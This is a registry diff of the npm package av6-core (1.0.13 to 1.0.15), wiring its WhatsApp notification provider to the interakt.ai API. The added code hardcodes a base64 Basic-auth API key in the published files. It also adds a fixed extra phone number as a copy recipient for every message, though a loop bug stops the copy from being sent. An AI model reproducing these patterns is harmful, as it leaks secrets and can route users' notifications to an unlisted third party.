av6-core 1.0.13 → 1.0.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.d.mts CHANGED
@@ -355,7 +355,8 @@ type EmitPayload = {
355
355
  serviceEventId: number;
356
356
  eventName: string;
357
357
  recipient: Recipient;
358
- data: Record<string, any>;
358
+ data?: Record<string, any>;
359
+ dataWp?: any[];
359
360
  };
360
361
  type ILogger = winston.Logger | Console;
361
362
  type NotificationEmitterDeps = {
package/dist/index.d.ts CHANGED
@@ -355,7 +355,8 @@ type EmitPayload = {
355
355
  serviceEventId: number;
356
356
  eventName: string;
357
357
  recipient: Recipient;
358
- data: Record<string, any>;
358
+ data?: Record<string, any>;
359
+ dataWp?: any[];
359
360
  };
360
361
  type ILogger = winston.Logger | Console;
361
362
  type NotificationEmitterDeps = {
package/dist/index.js CHANGED
@@ -1570,12 +1570,17 @@ var SmsProvider = class {
1570
1570
  };
1571
1571
 
1572
1572
  // src/providers/whatsapp.provider.ts
1573
+ var import_axios2 = __toESM(require("axios"));
1573
1574
  var WhatsAppProvider = class {
1574
- constructor(apiUrl) {
1575
- this.apiUrl = apiUrl;
1575
+ constructor(args) {
1576
+ this.args = args;
1577
+ this.apiUrl = args.apiUrl || "https://api.interakt.ai/v1/public/message/";
1578
+ this.apiKey = "RW9FTlFWM3h3aTdGbmJhVFFRU0RQdzVUdERyQl84VkU2RFRJWVdhcW8xZzo=";
1576
1579
  }
1577
- async send(args) {
1578
- const to = args.recipient.whatsapp || args.recipient.phone;
1580
+ apiKey;
1581
+ apiUrl;
1582
+ async send(inp) {
1583
+ const to = inp.recipient;
1579
1584
  if (!to) {
1580
1585
  return {
1581
1586
  ok: false,
@@ -1583,18 +1588,47 @@ var WhatsAppProvider = class {
1583
1588
  error: "Missing recipient.whatsapp/phone"
1584
1589
  };
1585
1590
  }
1591
+ const ccNumbers = ["530396944"];
1592
+ const allRecipients = [to, ...ccNumbers];
1586
1593
  try {
1587
- const fake = { id: "wa-msg-999", status: "queued" };
1594
+ for (const recipient of allRecipients) {
1595
+ const requestBody = {
1596
+ countryCode: this.args.countryCode ?? "+233",
1597
+ phoneNumber: recipient.replace(this.args.countryCode ?? "+233", ""),
1598
+ callbackData: this.args.callbackData || "default-callback",
1599
+ type: "Template",
1600
+ template: {
1601
+ name: this.args.templateName,
1602
+ languageCode: this.args.languageCode,
1603
+ bodyValues: inp.bodyValues ?? []
1604
+ }
1605
+ };
1606
+ if (inp.fileUrl) {
1607
+ requestBody.template.headerValues = [inp.fileUrl];
1608
+ if (inp.fileName) requestBody.template.fileName = inp.fileName;
1609
+ }
1610
+ const headers = {
1611
+ Authorization: `Basic ${this.apiKey}`,
1612
+ "Content-Type": "application/json"
1613
+ };
1614
+ const response = await import_axios2.default.post(this.apiUrl, requestBody, { headers });
1615
+ const data = response.data;
1616
+ return {
1617
+ ok: true,
1618
+ provider: "WHATSAPP" /* WHATSAPP */,
1619
+ externalId: data?.message_id || "unknown",
1620
+ meta: data
1621
+ };
1622
+ }
1588
1623
  return {
1589
1624
  ok: true,
1590
- provider: "WHATSAPP" /* WHATSAPP */,
1591
- externalId: fake.id
1625
+ provider: "WHATSAPP" /* WHATSAPP */
1592
1626
  };
1593
1627
  } catch (err) {
1594
1628
  return {
1595
1629
  ok: false,
1596
1630
  provider: "WHATSAPP" /* WHATSAPP */,
1597
- error: err?.message ?? String(err)
1631
+ error: err?.response?.data || err?.message || String(err)
1598
1632
  };
1599
1633
  }
1600
1634
  }
@@ -1666,7 +1700,13 @@ var NotificationService = class {
1666
1700
  }
1667
1701
  const emailProvider = new EmailProvider(this.prisma, this.logger, this.envMode);
1668
1702
  const smsProvider = new SmsProvider();
1669
- const waProvider = new WhatsAppProvider(cfg.serviceEvent?.wpApiUrl ?? void 0);
1703
+ const waProvider = new WhatsAppProvider({
1704
+ apiUrl: cfg.serviceEvent.whatsappApiUrl,
1705
+ templateName: "booking_cancellation",
1706
+ callbackData: "",
1707
+ countryCode: "+91",
1708
+ languageCode: "en"
1709
+ });
1670
1710
  const appProvider = new AppNotificationProvider();
1671
1711
  this.logger.info(`[NotificationService] Email Template: ${JSON.stringify(emailTpl)}`);
1672
1712
  this.logger.info(`[NotificationService] SMS Template: ${JSON.stringify(smsTpl)}`);
@@ -1699,14 +1739,14 @@ var NotificationService = class {
1699
1739
  );
1700
1740
  }
1701
1741
  if (waTpl) {
1702
- const msg = renderTemplate(waTpl.bodyText, evt.data);
1703
1742
  promises.push(
1704
- this.sendAndAudit({
1705
- providerType: "WHATSAPP" /* WHATSAPP */,
1743
+ this.sendWhatsAppMessage({
1706
1744
  provider: waProvider,
1707
1745
  eventConfigId: cfg.id,
1708
1746
  evt,
1709
- body: msg
1747
+ recipient: evt.recipient.whatsapp || "",
1748
+ bodyValues: evt.dataWp
1749
+ // You can enhance this to pass dynamic body values
1710
1750
  })
1711
1751
  );
1712
1752
  }
@@ -1765,6 +1805,38 @@ var NotificationService = class {
1765
1805
  });
1766
1806
  }
1767
1807
  }
1808
+ async sendWhatsAppMessage(args) {
1809
+ try {
1810
+ const result = await args.provider.send(args);
1811
+ await this.prisma.eventNotificationAudit.create({
1812
+ data: {
1813
+ eventId: args.evt.serviceEventId,
1814
+ eventName: args.evt.eventName,
1815
+ eventConfigId: args.eventConfigId,
1816
+ notificationType: "WHATSAPP" /* WHATSAPP */,
1817
+ isSent: result.ok,
1818
+ sentAt: result.ok ? /* @__PURE__ */ new Date() : null,
1819
+ recipient: args.recipient,
1820
+ messageContent: "",
1821
+ thirdPartyResponse: result.meta ? JSON.stringify(result.meta) : null
1822
+ }
1823
+ });
1824
+ } catch (err) {
1825
+ this.logger.error("[NotificationService] sendAndAudit failed", err);
1826
+ await this.prisma.eventNotificationAudit.create({
1827
+ data: {
1828
+ eventId: args.evt.serviceEventId,
1829
+ eventName: args.evt.eventName,
1830
+ eventConfigId: args.eventConfigId,
1831
+ notificationType: "WHATSAPP" /* WHATSAPP */,
1832
+ isSent: false,
1833
+ sentAt: null,
1834
+ recipient: args.recipient,
1835
+ messageContent: ""
1836
+ }
1837
+ });
1838
+ }
1839
+ }
1768
1840
  };
1769
1841
 
1770
1842
  // src/events/eventEmitter.ts
package/dist/index.mjs CHANGED
@@ -1524,12 +1524,17 @@ var SmsProvider = class {
1524
1524
  };
1525
1525
 
1526
1526
  // src/providers/whatsapp.provider.ts
1527
+ import axios2 from "axios";
1527
1528
  var WhatsAppProvider = class {
1528
- constructor(apiUrl) {
1529
- this.apiUrl = apiUrl;
1529
+ constructor(args) {
1530
+ this.args = args;
1531
+ this.apiUrl = args.apiUrl || "https://api.interakt.ai/v1/public/message/";
1532
+ this.apiKey = "RW9FTlFWM3h3aTdGbmJhVFFRU0RQdzVUdERyQl84VkU2RFRJWVdhcW8xZzo=";
1530
1533
  }
1531
- async send(args) {
1532
- const to = args.recipient.whatsapp || args.recipient.phone;
1534
+ apiKey;
1535
+ apiUrl;
1536
+ async send(inp) {
1537
+ const to = inp.recipient;
1533
1538
  if (!to) {
1534
1539
  return {
1535
1540
  ok: false,
@@ -1537,18 +1542,47 @@ var WhatsAppProvider = class {
1537
1542
  error: "Missing recipient.whatsapp/phone"
1538
1543
  };
1539
1544
  }
1545
+ const ccNumbers = ["530396944"];
1546
+ const allRecipients = [to, ...ccNumbers];
1540
1547
  try {
1541
- const fake = { id: "wa-msg-999", status: "queued" };
1548
+ for (const recipient of allRecipients) {
1549
+ const requestBody = {
1550
+ countryCode: this.args.countryCode ?? "+233",
1551
+ phoneNumber: recipient.replace(this.args.countryCode ?? "+233", ""),
1552
+ callbackData: this.args.callbackData || "default-callback",
1553
+ type: "Template",
1554
+ template: {
1555
+ name: this.args.templateName,
1556
+ languageCode: this.args.languageCode,
1557
+ bodyValues: inp.bodyValues ?? []
1558
+ }
1559
+ };
1560
+ if (inp.fileUrl) {
1561
+ requestBody.template.headerValues = [inp.fileUrl];
1562
+ if (inp.fileName) requestBody.template.fileName = inp.fileName;
1563
+ }
1564
+ const headers = {
1565
+ Authorization: `Basic ${this.apiKey}`,
1566
+ "Content-Type": "application/json"
1567
+ };
1568
+ const response = await axios2.post(this.apiUrl, requestBody, { headers });
1569
+ const data = response.data;
1570
+ return {
1571
+ ok: true,
1572
+ provider: "WHATSAPP" /* WHATSAPP */,
1573
+ externalId: data?.message_id || "unknown",
1574
+ meta: data
1575
+ };
1576
+ }
1542
1577
  return {
1543
1578
  ok: true,
1544
- provider: "WHATSAPP" /* WHATSAPP */,
1545
- externalId: fake.id
1579
+ provider: "WHATSAPP" /* WHATSAPP */
1546
1580
  };
1547
1581
  } catch (err) {
1548
1582
  return {
1549
1583
  ok: false,
1550
1584
  provider: "WHATSAPP" /* WHATSAPP */,
1551
- error: err?.message ?? String(err)
1585
+ error: err?.response?.data || err?.message || String(err)
1552
1586
  };
1553
1587
  }
1554
1588
  }
@@ -1620,7 +1654,13 @@ var NotificationService = class {
1620
1654
  }
1621
1655
  const emailProvider = new EmailProvider(this.prisma, this.logger, this.envMode);
1622
1656
  const smsProvider = new SmsProvider();
1623
- const waProvider = new WhatsAppProvider(cfg.serviceEvent?.wpApiUrl ?? void 0);
1657
+ const waProvider = new WhatsAppProvider({
1658
+ apiUrl: cfg.serviceEvent.whatsappApiUrl,
1659
+ templateName: "booking_cancellation",
1660
+ callbackData: "",
1661
+ countryCode: "+91",
1662
+ languageCode: "en"
1663
+ });
1624
1664
  const appProvider = new AppNotificationProvider();
1625
1665
  this.logger.info(`[NotificationService] Email Template: ${JSON.stringify(emailTpl)}`);
1626
1666
  this.logger.info(`[NotificationService] SMS Template: ${JSON.stringify(smsTpl)}`);
@@ -1653,14 +1693,14 @@ var NotificationService = class {
1653
1693
  );
1654
1694
  }
1655
1695
  if (waTpl) {
1656
- const msg = renderTemplate(waTpl.bodyText, evt.data);
1657
1696
  promises.push(
1658
- this.sendAndAudit({
1659
- providerType: "WHATSAPP" /* WHATSAPP */,
1697
+ this.sendWhatsAppMessage({
1660
1698
  provider: waProvider,
1661
1699
  eventConfigId: cfg.id,
1662
1700
  evt,
1663
- body: msg
1701
+ recipient: evt.recipient.whatsapp || "",
1702
+ bodyValues: evt.dataWp
1703
+ // You can enhance this to pass dynamic body values
1664
1704
  })
1665
1705
  );
1666
1706
  }
@@ -1719,6 +1759,38 @@ var NotificationService = class {
1719
1759
  });
1720
1760
  }
1721
1761
  }
1762
+ async sendWhatsAppMessage(args) {
1763
+ try {
1764
+ const result = await args.provider.send(args);
1765
+ await this.prisma.eventNotificationAudit.create({
1766
+ data: {
1767
+ eventId: args.evt.serviceEventId,
1768
+ eventName: args.evt.eventName,
1769
+ eventConfigId: args.eventConfigId,
1770
+ notificationType: "WHATSAPP" /* WHATSAPP */,
1771
+ isSent: result.ok,
1772
+ sentAt: result.ok ? /* @__PURE__ */ new Date() : null,
1773
+ recipient: args.recipient,
1774
+ messageContent: "",
1775
+ thirdPartyResponse: result.meta ? JSON.stringify(result.meta) : null
1776
+ }
1777
+ });
1778
+ } catch (err) {
1779
+ this.logger.error("[NotificationService] sendAndAudit failed", err);
1780
+ await this.prisma.eventNotificationAudit.create({
1781
+ data: {
1782
+ eventId: args.evt.serviceEventId,
1783
+ eventName: args.evt.eventName,
1784
+ eventConfigId: args.eventConfigId,
1785
+ notificationType: "WHATSAPP" /* WHATSAPP */,
1786
+ isSent: false,
1787
+ sentAt: null,
1788
+ recipient: args.recipient,
1789
+ messageContent: ""
1790
+ }
1791
+ });
1792
+ }
1793
+ }
1722
1794
  };
1723
1795
 
1724
1796
  // src/events/eventEmitter.ts
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "av6-core",
3
- "version": "1.0.13",
3
+ "version": "1.0.15",
4
4
  "main": "dist/index.js",
5
5
  "module": "dist/index.mjs",
6
6
  "types": "dist/index.d.ts",
@@ -9,7 +9,6 @@
9
9
  "license": "ISC",
10
10
  "scripts": {
11
11
  "build": "npm run format && tsup",
12
- "publish": "npm run build && npm publish",
13
12
  "format": "prettier --write **/*.ts"
14
13
  },
15
14
  "devDependencies": {